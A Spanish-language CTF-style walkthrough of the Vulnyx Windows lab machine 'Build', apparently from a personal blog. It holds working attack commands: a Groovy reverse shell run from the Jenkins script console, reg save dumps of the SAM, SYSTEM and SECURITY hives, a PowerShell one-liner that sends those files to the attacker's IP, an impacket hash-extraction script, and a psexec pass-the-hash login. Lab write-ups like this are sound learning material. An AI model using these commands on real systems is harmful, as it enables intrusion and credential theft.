Post

Build, Vulnix

portada

Herramientas y recursos

En este reto de vulnyx nos encontramos ante una maquina windows.

Tecnicas Herramientas
reconocimiento red arpscan
scan de puertos nmap
Fuerza bruta creds por defecto misc configuration
jenkins script console groovy script
exfiltracion powershell
login psexec
abuso de SeBackupPrivilege copiar archivos protegidos

Reconocimiento y enumeracion

Lo primero es averiguar que ip le ha sido otorgada a la maquina.

1
arp-scan --localnet

ip

  • Atacante: 192.168.18.14
  • Victima: 192.168.18.41

Le tiramos un nmap buscando puertos abiertos:

1
sudo nmap -p- --open --min-rate 5000 -sS -Pn -n 192.168.18.41 -vvv

ports

Ahora de nuevo con nmap que busque que servicios corren en esos puertos

1
sudo nmap -p 80,135,139,8080,445,49667,49668,49670,5040,49666,49665,49664,40669 --min-rate 5000 -sSV -Pn -n 192.168.18.41 -vvv

versions

En la imagen podemos ver las veriones y los servicios que esta corriendo por cada puerto. Empezamos investigando los http , que en el 80 es la web por defecto de Microsoft internet service pero en el 8080 corre un jenkins y vamos a probar passwords por defecto para esa version.

Con admin:admin estamos dentro, asi que nos vamos a Administrar jenkins > script console y nos mandamos una revshell.

rutajenkins

1
String host="192.168.18.14";int port=1188;String cmd="cmd.exe";Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

Nos ponemos a la escucha con nc y recibimos.

rev

Una vez dentro ejecutamos whoiam y vemos que somos la autorizadad maxima nt authority\system

root

Leemos las flags

flags

Hasta aqui esta maquina aqui el problema principal ha sido que el servicio jenkins corre con privilegios maximos en la maquina por eso no necesitamos escalada ya podriamos crear usuarios , alterar el registro , crear un revshell que se ejecute cada vez que inicia ,etc…..

Info curiosos:

A partir de aqui son solo pruebas para curiosos de verdad y gente que quiere aprender un poco cada dia, en este caso si quisieramos podriamos crear otro admin directamente, pero yo voy a sacar el hash del admin por si cierran la entrada por jenkins, tener el hash ya seria una forma simple de persistencia.

Voy a usar SeBackupPrivilege para ello primero ejecuto estgos tres comandos de abajo:

1
2
3
reg save HKLM\SAM C:\Windows\Temp\sam.bak
reg save HKLM\SYSTEM C:\Windows\Temp\system.bak
reg save HKLM\SECURITY C:\Windows\Temp\security.bak

Comprobamos que tengan contenido listando el directorio /Temp que es dnd los enviamos ahora solo queda ponernos en escucha y tranferirlos.

1
nc -lvnp 1189 > sam.bak
1
powershell -c "$file='C:\Windows\Temp\sam.bak'; $ip='192.168.18.14'; $port=1189; $fstr=[System.IO.File]::OpenRead($file); $client=New-Object System.Net.Sockets.TCPClient($ip,$port); $sstr=$client.GetStream(); $fstr.CopyTo($sstr); $sstr.Close(); $fstr.Close(); $client.Close()"

exfiltrando

Hacemos lo mismo con los otros dos ficheros y una vez en nuestra maquina procedemos a leerlos con impacket secretsdump que a mi en arch me sule dar problemas dado que las librerias son mas modernas que el script , la solucion parasaria por un entorno virtual de python.pypykazt tambien se pone rebelde asi que le paso los errores a la ia y le digo que me cree un script para ignorar esos errores.

exfiltrando

1
2
3
4
5
6
7
8
9
10
from impacket.examples.secretsdump import LocalOperations, SAMHashes
from impacket.ntlm import compute_lmhash, compute_nthash

# Cargar la llave del sistema
local_ops = LocalOperations('system.bak')
bootkey = local_ops.getBootKey()

# Extraer hashes de la SAM
sam_hashes = SAMHashes('sam.bak', bootkey, isRemote=False)
sam_hashes.dump()

Ejecuto el script y tenemos el hash

fix-dump

Entramos con hash con la ayuda de psexec

1
python3 impacket_psexec.py Administrator@192.168.18.41 -hashes :480da6d5119d98cddd7fa836ac6c3c0c

psexec

Hasta aqui llego mi curiosidad

This post is licensed under CC BY 4.0 by the author.

Comments powered by Disqus.